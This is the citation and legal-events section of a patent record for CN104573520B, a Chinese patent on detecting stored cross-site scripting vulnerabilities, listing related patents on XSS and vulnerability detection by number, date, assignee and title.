CN106951242B (zh) * | 2017-03-10 | 2020-12-04 | 北京白帽汇科技有限公司 | 一种漏洞验证程序的生成方法、设备及计算设备 |
CN108629182B (zh) * | 2017-03-21 | 2022-11-04 | 腾讯科技(深圳)有限公司 | 漏洞检测方法及漏洞检测装置 |
CN108667770B (zh) * | 2017-03-29 | 2020-12-18 | 腾讯科技(深圳)有限公司 | 一种网站的漏洞测试方法、服务器及系统 |
CN109768973A (zh) * | 2018-12-28 | 2019-05-17 | 易票联支付有限公司 | 一种安全公告的发布监控方法、系统及装置 |
CN110113311A (zh) * | 2019-03-05 | 2019-08-09 | 北京丁牛科技有限公司 | 跨站脚本攻击xss漏洞检测方法及装置 |
CN112202763B (zh) * | 2020-09-28 | 2022-04-22 | 杭州安恒信息技术股份有限公司 | 一种ids策略生成方法、装置、设备及介质 |
Citations (6)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN101459548A (zh) * | 2007-12-14 | 2009-06-17 | 北京启明星辰信息技术股份有限公司 | 一种脚本注入攻击检测方法和系统 |
CN101741645A (zh) * | 2009-12-17 | 2010-06-16 | 成都市华为赛门铁克科技有限公司 | 存储式跨站脚本攻击检测方法、装置及系统及攻击检测装置 |
CN101895516A (zh) * | 2009-05-19 | 2010-11-24 | 北京启明星辰信息技术股份有限公司 | 一种跨站脚本攻击源的定位方法及装置 |
CN101964025A (zh) * | 2009-07-23 | 2011-02-02 | 中联绿盟信息技术(北京)有限公司 | Xss检测方法和设备 |
CN102004639A (zh) * | 2010-09-28 | 2011-04-06 | 深圳市共进电子有限公司 | 嵌入式脚本生成模块以及嵌入式脚本生成的方法 |
CN102780684A (zh) * | 2011-05-12 | 2012-11-14 | 同济大学 | Xss防御系统 |
Family Cites Families (1)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
US8181246B2 (en) * | 2007-06-20 | 2012-05-15 | Imperva, Inc. | System and method for preventing web frauds committed using client-scripting attacks |
-
2013
- 2013-10-09 CN CN201310468933.9A patent/CN104573520B/zh active Active
Patent Citations (6)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN101459548A (zh) * | 2007-12-14 | 2009-06-17 | 北京启明星辰信息技术股份有限公司 | 一种脚本注入攻击检测方法和系统 |
CN101895516A (zh) * | 2009-05-19 | 2010-11-24 | 北京启明星辰信息技术股份有限公司 | 一种跨站脚本攻击源的定位方法及装置 |
CN101964025A (zh) * | 2009-07-23 | 2011-02-02 | 中联绿盟信息技术(北京)有限公司 | Xss检测方法和设备 |
CN101741645A (zh) * | 2009-12-17 | 2010-06-16 | 成都市华为赛门铁克科技有限公司 | 存储式跨站脚本攻击检测方法、装置及系统及攻击检测装置 |
CN102004639A (zh) * | 2010-09-28 | 2011-04-06 | 深圳市共进电子有限公司 | 嵌入式脚本生成模块以及嵌入式脚本生成的方法 |
CN102780684A (zh) * | 2011-05-12 | 2012-11-14 | 同济大学 | Xss防御系统 |
Also Published As
Publication number | Publication date |
---|---|
CN104573520A (zh) | 2015-04-29 |
Similar Documents
Publication | Publication Date | Title |
---|---|---|
CN104573520B (zh) | 检测常驻式跨站脚本漏洞的方法和装置 | |
TWI603600B (zh) | 利用運行期代理器及網路探查器判定漏洞之技術 | |
CN101964025B (zh) | Xss检测方法和设备 | |
CN104881603B (zh) | 网页重定向漏洞检测方法及装置 | |
CN104834588B (zh) | 检测常驻式跨站脚本漏洞的方法和装置 | |
CN104348803B (zh) | 链路劫持检测方法、装置、用户设备、分析服务器及系统 | |
CN111400722B (zh) | 扫描小程序的方法、装置、计算机设备和存储介质 | |
CN103001817B (zh) | 一种实时检测网页跨域请求的方法和装置 | |
CN106101145A (zh) | 一种网站漏洞检测方法及装置 | |
CN107124430B (zh) | 页面劫持监控方法、装置、系统和存储介质 | |
CN109039987A (zh) | 一种用户账户登录方法、装置、电子设备和存储介质 | |
CA2595758A1 (en) | System for detecting vulnerabilities in web applications using client-side application interfaces | |
CN110209583A (zh) | 安全测试方法、装置、系统、设备和存储介质 | |
CN108696481A (zh) | 漏洞检测方法和装置 | |
CN106548075B (zh) | 漏洞检测方法和装置 | |
CN103647678A (zh) | 一种网站漏洞在线验证方法及装置 | |
CN109672658B (zh) | Json劫持漏洞的检测方法、装置、设备及存储介质 | |
CN111783096A (zh) | 检测安全漏洞的方法和装置 | |
CN103902534B (zh) | 一种网页程序触发本地操作的方法和装置 | |
CN103546330A (zh) | 一种浏览器兼容性检测方法、装置及系统 | |
CN113518077A (zh) | 一种恶意网络爬虫检测方法、装置、设备及存储介质 | |
CN107463453A (zh) | 同一终端不同应用间通信的方法、装置、设备和存储介质 | |
CN106209487B (zh) | 用于检测网站中网页的安全漏洞的方法及装置 | |
CN108632219A (zh) | 一种网站漏洞检测方法、检测服务器及系统 | |
US8789177B1 (en) | Method and system for automatically obtaining web page content in the presence of redirects |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
C06 | Publication | ||
PB01 | Publication | ||
C10 | Entry into substantive examination | ||
SE01 | Entry into force of request for substantive examination | ||
GR01 | Patent grant | ||
GR01 | Patent grant |